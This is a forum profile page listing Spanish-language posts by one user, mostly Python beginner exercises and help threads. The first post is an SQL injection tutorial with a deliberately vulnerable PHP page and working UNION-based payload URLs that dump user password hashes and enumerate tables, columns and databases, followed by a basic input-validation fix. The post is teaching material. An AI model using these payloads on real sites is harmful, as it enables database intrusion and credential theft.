Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - blozzter

#61
qué es.

es una técnica que consiste en hacer consultas de forma directa a la base de datos del sistema.


cuándo se produce.

se producen cuando se incluye en una consulta SQL una variable que no ha sido previamente filtrada.


ejemplo práctico

imaginemos que tenemos una base de datos llamada 'database' a la que tiene acceso el usuario 'root' y cuya pass es 'pass'.

la DB tiene 2 tablas, una de noticias y otra de usuarios.

seria asi:

Código: mysql

--
-- Estructura de tabla para la tabla `noticias`
--

CREATE TABLE `noticias` (
  `id` smallint(5) unsigned NOT NULL auto_increment,
  `titulo` varchar(50) NOT NULL default '',
  `cuerpo` text NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;

--
-- Volcar la base de datos para la tabla `noticias`
--

INSERT INTO `noticias` VALUES (1, 'introduccion practica a sqli', 'cuerpo de la primera noticia <br />\r\nbla <br />\r\nbla <br />\r\nbla <br />\r\n<br />\r\n<br />\r\n<h3> ¡< blozzter >!');
INSERT INTO `noticias` VALUES (2, 'titulo 2', 'cuerpo de la noticia 2 <br />\r\n... <br />\r\n... <br />\r\n... <br />\r\n... saludos mitm.cl\r\n');

-- --------------------------------------------------------

--
-- Estructura de tabla para la tabla `usuarios`
--

CREATE TABLE `usuarios` (
  `id` smallint(5) unsigned NOT NULL auto_increment,
  `usuario` varchar(20) NOT NULL default '',
  `clave` varchar(32) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;

--
-- Volcar la base de datos para la tabla `usuarios`
--

INSERT INTO `usuarios` VALUES (1, 'admin', '21232f297a57a5a743894a0e4a801fc3');
INSERT INTO `usuarios` VALUES (2, 'root', '63a9f0ea7bb98050796b649e85481845');




y la pagina cuenta con un archivo que accede a la DB para mostrar las noticias asociadas a cierto id, dicho archivo es vulnerable a sqli ya que no filtra la variable id.


archivo sqli.php:

Código: php

<?php

$host = 'localhost';
$user = 'root';
$pass='pass';
$datos = 'database';

$conexion = mysql_connect($host, $user, $pass)
or die("no se ha conectado a la db");
mysql_select_db($datos,$conexion)
or die("problemas al seleccionar db");



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}


$sql = mysql_query("SELECT id, titulo, cuerpo FROM noticias WHERE id=".$id)
or die (mysql_error());

$resultado = mysql_fetch_row($sql);


echo "<h2>".$resultado[1]."</h1><br />";
echo "<h3>".$resultado[2]."</h3><br />";
mysql_close($conexion);

?>



teniendo eso podemos generar una consulta que nos permita acceder a la información almacenada en la DB. por ejemplo, que nos arroje sus usuarios y sus passwords:

Código: text
http://localhost/sqli.php?id= 1+union+select+all+1,2,group_concat(id,0x3a3a,usuario,0x3a3a,clave,0x3c62723e)+from+usuarios


lo que devolvería algo como:

Citar
1::admin::21232f297a57a5a743894a0e4a801fc3
,2::root::63a9f0ea7bb98050796b649e85481845


cómo solucionar el problema.

podemos filtrar la variable id y asegurarnos que efectivamente sea un número:


Código: php

<?php

...

if (isset($_GET['id'])) {
$id = $_GET['id'];

if (!is_numeric($id)){
echo "<script>alert('no me hagas sqli!')</script>";
exit();
}
}

...

?>



nota: no pongo todos los pasos del proceso de explotación porque aquí todos lo saben  :o


adicional:


para sacar las tablas en el ejemplo que estoy dando seria:

Código: text
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(table_name,0x3c62723e)+from+information_schema.tables+--+



para sacar las columnas de la tabla 'usuarios' sería:

Código: text
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(column_name,0x3c62723e)+from+information_schema.columns+where+table_name=0x7573756172696f73+--+


donde para convertir a hexadecimal podemos usar una You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login o bien hacernos nuestra propia You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


y para ver las bases de datos (esto lo aprendí del p0fk) :

Código: text
http://localhost/sqli.php?id=-1+union+select+all+1,2,group_concat(schema_name,0x3c62723e)+from+information_schema.schemata+--+



saludos.
#62
hola,
me interesa hacer una función que retorne la cantidad de post de cierto usuario de Underc0de.
escribí el code, pero no sé que error tiene, basicamente no retorna cuando se cumple la condicion, lo depuré y no entiendo el por qué.


Código: python

import re, urllib2

   
def countpost(nick):
    for i in range(1, 7390):
        source = urllib2.urlopen("http://foro.underc0de.org/index.php?action=profile;u=%s"%i).read()
        mensajes = re.findall("<dd>(.*)\)", source)   
        usuario = re.findall("<div class=\"username\"><h4>(.*)<span class=\"position\">", source)
        usuario = str(usuario[0])
        if usuario == nick:
            return mensajes
           
msg = countpost("ANTRAX")
print msg[0],')'


la condición se cumple:
#63
lo modifiqué un poco y lo hice con los mensajes   :)

Código: python

import re,urllib2
for i in range(1, 7390):
    source = urllib2.urlopen("http://foro.underc0de.org/index.php?action=profile;u=%s"%i).read()
    mensajes = re.findall("<dd>(.*)\)", source)   
    usuario = re.findall("<div class=\"username\"><h4>(.*)<span class=\"position\">", source)
    try:
        print usuario[0], "==>", mensajes[0], ')'
    except:
        print "usuraio con id %i no existe" %i


salida:
Código: text

ANTRAX  ==> 2041 (3.619 por día )
AGNES  ==> 164 (0.291 por día )
chuck9394  ==> 19 (0.034 por día )
usuraio con id 4 no existe
E.D.O.  ==> 1 (0.002 por día )
tutukerman  ==> 9 (0.016 por día )
MaySheHak  ==> 217 (0.386 por día )
usuraio con id 8 no existe
pirru  ==> 1 (0.002 por día )
usuraio con id 10 no existe
Jhonjhon_123  ==> 182 (0.324 por día )
KnoX_Rus  ==> 181 (0.323 por día )
...
etc
...
#64
y si quisiéramos también mostrar el número de mensajes?

estaba pensando en algo como:

Código: python

for i in range(1, 7390):
    for mensajes, prom in re.findall("<dd>(.*) ((.*) por día)</dd> ",urllib2.urlopen("http://foro.underc0de.org/index.php?action=profile;u=%s"%i).read()):
        print mensajes


pero no.


saludos.
#65
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Claro , pero entiendo lo que dices.
Sería algo como simular funciones ya hechas
pero hacerlas manualmente ?

exacto  :)
#66
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
que buena idea.
el os.path.exists('archivo') no debe tener mas complejidad que eso  ::)


saludos.

pd: deberíamos hacer un apartado y destripar algunas funciones (poner su source), como lo haz hecho tú  ::)
Hola compatriota ! , buen día.
Yo no la destripé , sólo lo hice por lógica :B

Hola, me había olvidado que también eres de Chile  ;D


y pensándolo bien, puede que el término "destripar" esté mal usado en este caso. no he dicho nada :-X   jajaj

saludos.
#67
que buena idea.
el os.path.exists('archivo') no debe tener mas complejidad que eso  ::)


saludos.

pd: deberíamos hacer un apartado y destripar algunas funciones (poner su source), como lo haz hecho tú  ::)
#68
Phreak / Re:Cambiar font a Sony Ericsson
Agosto 21, 2011, 08:48:56 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
algo que decir sobre la compatibilidad con el sony ericsson C510a?

ese celular se modifica con a2uploader pero la ruta y los archivos son los mismos


thanks, haber si un día de esto lo pruebo. quedan geniales con la font modificada.
#69
Phreak / Re:Cambiar font a Sony Ericsson
Agosto 21, 2011, 01:24:43 PM
algo que decir sobre la compatibilidad con el sony ericsson C510a?
#70
Python / Re:análisis de ejercicios
Agosto 18, 2011, 05:47:57 PM
horrorc0re, me gustó mucho tu code  ;D

y con respecto a tu pregunta, no sé como trabajar con clases. lo siento.



saludos.


edito: 

Código: text

###########################
# Code de ZomWeed -PYTHON #
#-------------------------#
#    (Calculo-de-Edad)    #
###########################
-> Porfavor, indique una fecha (AA-MM-DD)1969-02-19
La edad es ->  41



si te fijas, en ese caso el paciente tendría 42 años, no 41.  :P


espero la corrección ;)
#71
Python / Re:análisis de ejercicios
Agosto 16, 2011, 11:07:02 PM
bueno, retomo el tema, ahora dejo mi versión de como resolví el problema.


Código: python

from datetime import*

def fecha_actual():   
    fecha = str(date.today())
    dia = int(fecha[8:10])
    mes = int(fecha[5:7])
    anho = int(fecha[0:4])
    return dia, mes, anho

dia_actual, mes_actual, anho_actual = fecha_actual()

nacimiento = raw_input("fecha de nacimiento (DD-MM-AA): ")

edad = -1

try:
    dia_nacimiento = int(nacimiento[0:2])
    mes_nacimiento = int(nacimiento[3:5])
    anho_nacimiento = int(nacimiento[6:10])
except:
    print "[+] haz de introducir una fecha valida"
    exit()

if anho_actual >= anho_nacimiento:
  if mes_actual > mes_nacimiento:  #ya cumpli0 en este anho
    edad = anho_actual - anho_nacimiento
  elif mes_actual == mes_nacimiento: #dependerA del dIa
    if dia_actual < dia_nacimiento:
      edad = anho_actual - anho_nacimiento - 1
    else:
      edad = anho_actual - anho_nacimiento
  elif mes_actual < mes_nacimiento:  #todavia no cumple
    edad = anho_actual - anho_nacimiento - 1

if edad <= -1:
    print "[+] el paciente todavia no nace xD"

else:
    print "edad del paciente: ", edad



saludos  :)
#72
hola,

ya viste You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ?

no lo probé, hace tiempo que no hago algo en VB asi que lo tengo casi olvidado.

saludos.
#73
Códigos Fuentes / Re:convertir a hexadecimal
Agosto 14, 2011, 02:32:09 AM
tienes razón, muchas gracias por las sugerencias.


saludos.
#74
la programación es, en general, para automatizar las tareas.

sabes sacar las integrales con lápiz y papel?
ese sería el algoritmo.
#75
Python / Re:análisis de ejercicios
Agosto 12, 2011, 10:35:25 PM
CitarAhora bien, por falta de conocimiento del lenguaje tengo dos dudas:
1- Cómo podria hacer para que me evalue en el ejemplo anterior en la función edad las variables de la funcion main? He probado y digamos que "no las guarda"
2- Cómo podemos hacer para utilizar excepciones de forma correcta con un algoritmo así?


Sensei,
tu primera duda creo que se relaciona con lo que el uso de las funciones, pasar y recibir parámetros.
te dejo un ejemplo haber si te sirve:


Código: python

def evaluar(variable):  #funcion que nos muestra si la variable es de tipo numerica o de tipo cadena
    if type(variable) == int:
        print 'numerica'
    elif type(variable) == str:
        print 'cadena'

def variable():
    var = "blozzter"
    return var
   
var = variable()  # "var" ahora vale "aqui un texto"
evaluar(var) #llamamos  a la funcion "evaluar" con el parametro "var"


cualquier duda, pregunta.
y con respecto a la segunda duda, no veo la necesidad de utilizar el try-except para este caso. quizás podría ser para validar mejor, pero considero que es un detalle.


ahora bien, tu code anda cerca, pero tiene algunas falencias.
si lo pruebo con esta fecha mira lo que pasa:

Código: text
Que dia es hoy?12
En que mes estamos?8
En que anho?2011
Hola, bienvenido a calculo de edad. Que desea hacer?
                1. Calcular mi edad para la receta.
                2. Salir
               
Elija su opcion y pulse [INTRO]: 1
Que dia nacio?9
Que mes nacio?8
Que anho nacio?1992
su edad es:  18


en este caso, la edad seria 19  ;D

edito: acabo de implementar el try-except para validar que el usuario coloca un formato de fecha válido.


saludos.
#76
Python / Re:análisis de ejercicios
Agosto 12, 2011, 06:40:15 PM
hola, Sensei.

te explico: el try funciona mientras todo es True; en caso que alguna de las comparaciones sea False, pasará al except.


en tu caso, en la linea 15, al no cumplirse   if anhoN==anho:   , se salta de inmediato al except.

te recomiendo que primero hagas que funcione sin validar los datos, supondremos que el doctor nunca se equivocará en ingresarlos. luego revisamos la validación de entradas.


saludos!
espero ver el segundo intento ;)
#77
Dudas y pedidos generales / Re:Que encriptacion es???
Agosto 12, 2011, 12:42:47 AM
mirad este codigo:


Código: php

</HEAD>

<BODY>

<?PHP
// Escribir aquí el nombre y la clave del usuario que se desea crear
   $usuario="blozzter";
   $clave="password";
   
   $conexion = mysql_connect ("localhost", "root", "pass")
      or die ("No se puede conectar con el servidor");
   mysql_select_db ("lindavista")
      or die ("No se puede seleccionar la base de datos");
   $salt = substr ($usuario, 1, 3);
   $clave_crypt = crypt ($clave, $salt);
   $instruccion = "insert into usuarios (usuario, clave) values ('$usuario', '$clave_crypt')";
   $consulta = mysql_query ($instruccion, $conexion)
      or die ("Fallo en la inserción");
   mysql_close ($conexion);
   print ("Usuario $usuario insertado con éxito\n");
?>

</BODY>
</HTML>



registra al usuario blozzter con password "password", pero esta clave la encripta de tal modo que queda como: "lobwLmuIgWIHo"    , creo que puede ser un mecanismo como ese.

haber que dicen los expertos   ;D


saludos.
#78
Python / Re:análisis de ejercicios
Agosto 11, 2011, 11:51:37 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Mañana lo reviso, ahora voy a comer y luego tengo un torneo en Wii.

Saludos.

jaja, ok. suerte en ese torneo ;)
#79
Python / Re:análisis de ejercicios
Agosto 11, 2011, 11:39:29 PM
JaAViEr, agradezco tu participacion tambien.


me parece una buena idea lo que estas haciendo. muy bueno eso de usar el modulo datetime para ver la fecha actual y re para buscar los datos ingresados.


pero observa lo mio que estuve de cumpleaños hace poco:


Código: text

2011 08 11
Fecha Nacimiento(AA-MM-DD):1992-08-09
Edad del Paciente: 18


que yo sepa, cumplí 19  ::)  jajja.


saludos, te invito a revisar el código.
#80
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Gracias YOGA

lol no le cambiees el nick xD